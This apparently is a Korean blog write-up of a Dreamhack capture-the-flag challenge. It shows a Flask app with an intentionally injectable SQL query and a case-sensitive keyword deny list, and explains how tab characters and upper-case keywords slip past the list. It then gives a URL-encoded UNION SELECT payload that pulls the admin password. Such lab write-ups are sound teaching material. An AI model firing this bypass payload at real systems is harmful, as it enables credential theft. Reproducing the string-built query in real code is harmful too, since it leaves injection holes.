본문 바로가기

웹해킹

드림핵 sql injection bypass WAF 롸업

CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `users`;
CREATE TABLE user(
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

INSERT INTO user(uid, upw) values('abcde', '12345');
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
INSERT INTO user(uid, upw) values('dream', 'hack');
FLUSH PRIVILEGES;

users 데이터베이스에 user 테이블이 있고 idx, uid, upw column들이 있다.

admin 계정의 비밀번호가 flag이다.

template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<pre>{result}</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
'''

keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
    for keyword in keywords:
        if keyword in data:
            return True

    return False


@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        if check_WAF(uid):
            return 'your request has been blocked by WAF.'
        cur = mysql.connection.cursor()
        cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
        result = cur.fetchone()
        if result:
            return template.format(uid=uid, result=result[1])
        else:
            return template.format(uid=uid, result='')

    else:
        return template

키워드 기반으로 필터링을 한다.

upw가 페이지에 나오게 하려면 result[1] 즉 2번째 결과에 포함을 시켜야 한다.

UNION SELECT 1, upw, 1 from user where uid="admin";--

 

이런 식으로 만들면 된다.

띄어쓰기 필터링은 tab으로 우회하고, column이 3개니까 1, upw, 1로 만들고 대소문자로 키워드를 우회하면 된다.

a'%09UNION%09SELECT%091,(SELECT%09upw%09FROM%09user%09WHERE%09uid='ADMIN'),1;--

이걸 url의 uid에 넣어주면 된다.

'웹해킹' 카테고리의 다른 글

NoSQL  (0) 2023.12.03
드림핵 sql injection bypass WAF Advanced 롸업  (0) 2023.12.03
SQL Injection-2  (0) 2023.12.02
드림핵 error based sql injection 롸업  (0) 2023.12.02
드림핵 blind sql injection advanced 롸업  (0) 2023.12.02